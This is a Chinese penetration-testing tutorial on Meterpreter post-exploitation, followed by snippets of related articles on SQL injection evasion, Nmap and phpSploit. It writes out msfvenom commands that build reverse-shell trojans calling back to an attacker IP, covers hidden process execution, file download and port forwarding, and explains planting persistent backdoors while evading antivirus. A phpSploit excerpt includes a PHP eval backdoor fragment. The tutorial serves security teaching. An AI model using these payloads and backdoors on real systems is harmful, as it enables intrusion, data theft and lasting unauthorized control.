渗透攻防工具篇-后渗透阶段的Meterpreter

作者:坏蛋
链接:https://zhuanlan.zhihu.com/p/23677530
来源:知乎
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

前言

熟悉Metasploit的应该对Meterpreter不陌生,作为后渗透阶段的利器,其强大之处可想而知,那么本篇文章就带大家来学习一下Meterpreter,目的在于让大家了解它的常用命令和使用方法。

贴心提示:为提高教学效果,文章内的配图大部分是GIF,担心流量的知友请尽量在WIFI环境下观看!

目录

第一节 初识Meterpreter

  • 1.1、什么是Meterpreter
  • 1.2、Meterpreter的优点

第二节 Meterpreter中常用的Shell

  • 2.1、reverse_tcp
  • 2.2、reverse_http
  • 2.3、reverse_https
  • 2.4、bind_tcp第三节 Meterpreter的常用命令

第三节 Meterpreter的常用命令

  • 3.1、基本命令
  • 3.2、文件系统命令
  • 3.3、网络命令
  • 3.4、系统命令第四节 后渗透攻击模块

第四节 后渗透攻击模块

  • 4.1、什么是后渗透攻击模块
  • 4.2、后渗透攻击模块的实现原理
  • 4.3、enum_drives

第五节 植入后门

  • 5.1、persistence后渗透攻击模块
  • 5.2、metsvc后渗透攻击模块
  • 第一节 初识Meterpreter

1.1、什么是Meterpreter

Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpretershell的链接。Meterpretershell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。另外Meterpreter能够躲避入侵检测系统。在远程主机上隐藏自己,它不改变系统硬盘中的文件,因此HIDS[基于主机的入侵检测系统]很难对它做出响应。此外它在运行的时候系统时间是变化的,所以跟踪它或者终止它对于一个有经验的人也会变得非常困难。最后,Meterpreter还可以简化任务创建多个会话。可以来利用这些会话进行渗透。

1.2、Meterpreter技术优势

Metasploit提供了各个主流平台的Meterpreter版本,包括Windows、Linux,同时支持x86、x64平台,另外,Meterpreter还提供了基于PHP和Java语言的实现。Meterpreter的工作模式是纯内存的,好处是启动隐藏,很难被杀毒软件监测到。不需要访问目标主机磁盘,所以也没什么入侵的痕迹。除上述外,Meterpreter还支持Ruby脚本形式的扩展。所以Ruby语言还很有必要。

  • 第二节 Meterpreter中常用的Shell

2.1、reverse_tcp

这是一个基于TCP的反弹shell,下面演示Linux下反弹shell,Windows道理一样不做演示。

  • Linux

使用下列命令生成一个Linux下反弹shell木马:

msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.1.102 lport=4444  -f elf -o isshell

看上图,我们可以看见目录下已经成功生成木马文件isshell。然后我们给文件加上执行权限。

然后我们打开Metasploit,使用模块handler,设置payload,注意:这里设置的payload要和我们生成木马所使用的payload一样。

设置下地址和端口,我们就开始监听了。

这边运行一下我们的反弹shell木马,可以发现成功反弹回shell了。

  • Windows:
msfvenom -p windows/meterpreter/reverse_tcp lhost=[你的IP] lport=[端口] -f exe -o 要生成的文件名

2.2、reverse_http
基于http方式的反向连接,在网速慢的情况下不稳定。

payload:/windows/meterpreter/reverse_http

2.3、reverse_https
基于https方式的反向连接,在网速慢的情况下不稳定。

payload:/windows/meterpreter/reverse_https

2.4、bind_tcp
这是一个基于TCP的正向连接shell,因为在内网跨网段时无法连接到attack的机器,所以在内网中经常会使用,不需要设置LHOST。

使用下列命令生成木马:

msfvenom -p linux/x86/meterpreter/bind_tcp lport=4444  -f elf -o bindshell

同样道理加权限运行,不演示了。

这里注意,我们设置的IP地址和端口就是目标机的。因为这是我们主动来连接它。

  • 第三节 Meterpreter的常用命令

3.1、基本命令

background  # 让meterpreter处于后台模式
sessions -i index   # 与会话进行交互,index表示第一个session
quit  # 退出会话
shell # 获得控制台权限
irb # 开启ruby终端

3.2、文件系统命令

cat # 查看文件内容
getwd # 查看当前工作目录
upload  # 上传文件到目标机上
download # 下载文件到本机上
edit # 编辑文件
search  # 搜索文件

3.3、网络命令

ipconfig / ifconfig # 查看网络接口信息
portfwd  add -l 4444 -p 3389 -r 192.168.1.102 # 端口转发,本机监听4444,把目标机3389转到本机4444
rdesktop -u Administrator -p ichunqiu 127.0.0.1:4444 #然后使用rdesktop来连接,-u 用户名 -p 密码
route # 获取路由表信息

3.4、系统命令

ps # 查看当前活跃进程
migrate pid # 将Meterpreter会话移植到进程数位pid的进程中
execute -H -i -f cmd.exe # 创建新进程cmd.exe,-H不可见,-i交互
getpid # 获取当前进程的pid
kill pid # 杀死进程
getuid # 查看权限
sysinfo # 查看目标机系统信息,如机器名,操作系统等
shutdown # 关机
  • 第四节 后渗透攻击模块

4.1、什么是后渗透攻击模块

后渗透攻击模块(Post)是Metasploit v4版本中正式引入的一种新类型的组件模块,主要支持在渗透攻击取得目标系统远程控制权之后,在受控系统中进行各式各样的后渗透攻击动作,比如获取敏感信息、进一步拓展、实施跳板攻击等。

4.2、后渗透攻击模块的实现原理
后渗透攻击模块是通过Ruby语言编写的,目标机上可能没有Ruby解释器吧,那么后渗透攻击模块是如何通过Meterpreter会话在目标机上执行的呢。看下来步骤:

  • 后渗透攻击脚本由Meterpreter客户端解释
  • 远程调用Meterpreter服务端提供的API(Meterpreter服务端即运行在目标机上的攻击载荷)

4.3、enum_drives

这个后渗透攻击模块是获取目标主机磁盘分区信息,我们就以这个例讲解后渗透攻击模块使用方法。

我们首先将meterpreter会话放入后台,然后搜索我们的模块。

然后使用use命令来使用模块,然后设置一下会话id,接着执行,可以发现成功获取到目标主机磁盘分区的信息。

  • 第五节 植入后门

Meterpreter仅仅是在内存中驻留的Shellcode,只要目标机器重启就会丧失控制权,下面就介绍如何植入后门,维持控制。

5.1、persistence后渗透攻击模块

使用方法:

-X指定启动的方式为开机自启动,-i反向连接的时间间隔

然后就是监听,等待后门连接

5.2、metsvc后渗透攻击模块

metsvc后渗透攻击模块其实就是将Meterpreter以系统服务的形式安装到目标主机,它会上传三个文件:

  • metsvc.dll
  • metsvc-service.exe
  • metsvc.exe

使用方法:

到目标机上,我们可以发现Meterpreter服务,正在开启监听并等待连接。

结束语
欢迎大家评论啊,如有不足或错误之处还请指出,感谢大家的支持。

时间: 2024-10-27 12:19:31

渗透攻防工具篇-后渗透阶段的Meterpreter的相关文章

【渗透攻防Web篇】SQL注入攻击高级

前言 前面我们学习了如何寻找,确认,利用SQL注入漏洞的技术,本篇文章我将介绍一些更高级的技术,避开过滤,绕开防御.有攻必有防,当然还要来探讨一下SQL注入防御技巧. 目录 第五节 避开过滤方法总结 5.1.大小写变种 5.2.URL编码 5.3.SQL注释 5.4.空字节 5.5.二阶SQL注入 第六节 探讨SQL注入防御技巧 6.1.输入验证 6.2.编码输出 正文 第五节 避开过滤方法总结 Web应用为了防御包括SQL注入在内的攻击,常常使用输入过滤器,这些过滤器可以在应用的代码中,也可以

渗透攻防Web篇-SQL注入攻击初级

不管用什么语言编写的Web应用,它们都用一个共同点,具有交互性并且多数是数据库驱动.在网络中,数据库驱动的Web应用随处可见,由此而存在的SQL注入是影响企业运营且最具破坏性的漏洞之一,这里我想问,我们真的了解SQL注入吗?看完本篇文章希望能让你更加深刻的认识SQL注入. 注入攻击原理及自己编写注入点 1.1.什么是SQL?SQL 是一门 ANSI 的标准计算机语言,用来访问和操作数据库系统.SQL 语句用于取回和更新数据库中的数据.SQL 可与数据库程序协同工作,比如 MS Access.DB

web 安全渗透(工具篇)

Nmap 的原理和简单的使用 Nmap是一款开源免费的网络发现和安全审计工具.软件名Nmap 全称  network mapper. Nmap 用途:一般情况下,Nmap用于列举网络主机清单.管理服务升级调度.监控主机或服务运行状况.Nmap可以检测目标主机是否在线.端口开放情况.侦测运行的服务类型及版本信息.侦测操作系统与设备类型等信息. 四项基本功能: 1 主机发现 2 端口扫描 3 版本侦测 4 操作系统侦测 下面举一些例子 nmap targethost 可以确定目标主机在线情况机端口基

《metasploit渗透测试魔鬼训练营》学习笔记第九章--meterpreter

七.强大的meterpreter  7.1再探metasploit的攻击载荷模块     7.1.1典型的攻击载荷模块     metasploit涵盖了各大主流操作系统和平台,其中绝大部分是远程漏洞利用所使用的攻击载荷模块,功能一般是开启远程shell,远程执行命令.     metasploit支持用户将自己的shellcode导入框架中,只需将payload替换成自己的shellcode代码,修改一下描述等基础信息即可.     7.1.2使用攻击载荷模块     search 搜索,查询

iOS macOS的后渗透利用工具:EggShell

EggShell是一款基于Python编写的iOS和macOS的后渗透利用工具.它有点类似于metasploit,我们可以用它来创建payload建立侦听.此外,在反弹回的session会话也为我们提供了许多额外的功能.例如文件的上传/下载,拍照,定位,shell命令执行,权限维持,提权,密码检索等.在服务器通信方面EggShell则采用了128位AES端到端的加密,并同时能够处理多个客户端程序.这是一个概念验证工具,适用于在你自己的机器上使用.有关更多详细信息请访问:http://lucasj

后渗透提权辅助工具BeRoot详解

0x00 工具介绍 前言 BeRoot是一个后期开发工具,用于检查常见的Windows的配置错误,以方便找到提高我们提权的方法.其二进制编译地址为: https://github.com/AlessandroZ/BeRoot/releases 它将作为后开发模块被添加到pupy(Pupy是一个开源,跨平台(Windows,Linux,OSX,Android),多功能RAT远程管理工具和后开发工具,主要用python编写)项目中(因此它将在内存中执行,而不会在硬盘中执行). 需要注意的是,这款工具

最新最好的八款渗透测试工具

本文介绍的渗透测试工具包括:Metasploit.Nessus安全漏洞扫描器.Nmap.Burp Suite.OWASP ZAP.SQLmap.Kali Linux和Jawfish(Evan Saez是Jawfish项目的开发者之一). 如果说你的资产有可能被国内外的攻击者盯上并没有把你吓得半死,那就不必读这篇文章.如果你与我们大家一样也要面对现实,那么通过一名真正的专业人士在渗透测试方面给出的一些靠谱的预防性建议,试着采取一些挽救措施. 我们采访了渗透测试工具设计师/编程员/爱好者Evan S

全能无线渗透测试工具,一个LAZY就搞定了

近来一直在研究无线安全方面的东西,特别是在无线渗透测试这块,每次渗透测试时总要来回不停的切换操作和挑选利器,很是麻烦.就想看看是否可以有一款功能全面的集合型工具. 正所谓功夫不负有心人,还真有这么一个工具出现在我的眼前.它便是名为LAZY script应用于Kali Linux下的执行脚本.该脚本可以自动执行有关Wi-Fi穿透和黑客攻击的绝大部分应用程序,同时它还集合了大量不同类型的攻击程序,可谓是集众家之长于一身.这么好的东西,必须和各位小伙伴一起分享. 其实,这样一款好的工具,不仅可以让从事

phpSploit后渗透利用框架介绍

今天在freebuf 上看到有一篇介绍PhpSploit的远程控制框架的文章觉得不错,就把文章超过来了.方便以后自己查找.phpsploit可以帮助攻击者在客户端与Web服务器端之间建立隐蔽性极强的交互式链接(类似Shell).简而言之,这是一款后渗透利用工具,它能够让攻击者与目标主机(例如被入侵的Web服务器)维持访问链接,并实现提权操作.概述该工具会对标准客户端请求以及Web服务器相关请求的HTTP头数据进行混淆处理,并利用一个小型的多态后门来实现隐蔽通信: <? @eval($_SERVE